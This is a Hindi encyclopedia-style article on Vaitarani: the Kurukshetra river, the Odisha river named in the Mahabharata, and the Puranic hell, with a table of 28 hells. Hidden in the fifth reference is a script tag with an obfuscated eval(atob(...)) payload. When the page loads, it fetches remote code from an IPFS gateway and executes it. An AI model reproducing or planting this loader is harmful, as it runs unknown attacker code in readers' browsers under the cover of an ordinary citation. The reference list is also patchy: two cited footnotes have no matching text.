वैतरणी

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वैतरणी कुरूक्षेत्र की एक नदी थी। 'वामनपुराण'[1] में इसकी कुरूक्षेत्र की सप्तनदियों में गणना की गई है-

'सरस्वती नदी पुण्या तथा वैतरणी नदी, आपगा च महापुण्या गंगा-मंदाकिनी नदी। मधुस्रवा अम्लुनदी कौशिकी पापनाशिनी, दृषद्वती महापुण्या तथा हिरण्यवती नदी।'

  • उड़ीसा में भी वैतरणी नामक एक नदी बहती है, जो सिंहभूमि के पहाड़ों से निकल कर 'बंगाल की खाड़ी' में 'धामरा' नामक स्थान के निकट गिरती है। यह कलिंग की प्रख्यात नदी थी। महाभारत, भीष्मपर्व[2] में इस प्रदेश की अन्य नदियों के साथ ही इसका भी उल्लेख है-

'चित्रोत्पलां चित्ररथां मंजुलां वाहिनी तथा मंदाकिनी वैतरणी कोषां चापि महानदीम्।'

'यमस्त वैतरिणम्।'

  • पौराणिक अनुश्रुति में वैतरणी नामक नदी को परलोक में स्थित माना गया है, जिसे पार करने के पश्चात् ही जीव की सद्गति संभव होती है।[5]
  • धर्म की मर्यादा का उल्लंघन करने वाला व्यक्ति, चाहे वह राजा हो या राजकर्मचारी हो या श्रेष्ठ कुल में पैदा हुआ व्यक्ति हो, उसे “वैतरणी नदी” नामक नरक मिलता है। वैतरणी नदी में इनको मल, मूत्र, रक्त, चर्बी मांस मज्जा अस्थि आदि निकृष्ट वस्तुएँ मिलती हैं तथा जल और मल-मूत्र में रहने वाले कीड़े इनको सदा सताया व खाया करते हैं। नरक लोक में सूर्य के पुत्र “यम” रहते हैं और मृत प्राणियों को उनके दुष्कर्मों का दण्ड देते हैं। नरकों की संख्या 28 कही गई है, जो इस प्रकार है[6]-
नरक के नाम
क्रम संख्या नाम क्रम संख्या नाम
1. तामिस्र 2. अन्धतामिस्र
3. रौरव 4. महारौरव
5. कुम्भी पाक 6. कालसूत्र
7. असिपत्रवन 8. सूकर मुख
9. अन्ध कूप 10. कृमि भोजन
11. सन्दंश 12. तप्तसूर्मि
13. वज्रकंटक शाल्मली 14. वैतरणी
15. पूयोद 16. प्राण रोध
17. विशसन 18. लालाभक्ष
19. सारमेयादन 20. अवीचि
21. अयःपान 22. क्षारकर्दम
23. रक्षोगणभोजन 24. शूलप्रोत
25. द्वन्दशूक 26. अवटनिरोधन
27. पर्यावर्तन 28. सूची मुख



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टीका टिप्पणी और संदर्भ

  1. वामनपुराण 39, 6-8
  2. भीष्मपर्व 9,34
  3. पद्मपुराण 21
  4. संयुक्तनिकाय 1,21
  5. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 878 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  6. गीता अमृत -जोशी गुलाबनारायण, अध्याय 16, पृ.सं.-342, श्लोक 21 - त्रिविधं नरकस्येदं द्वारं

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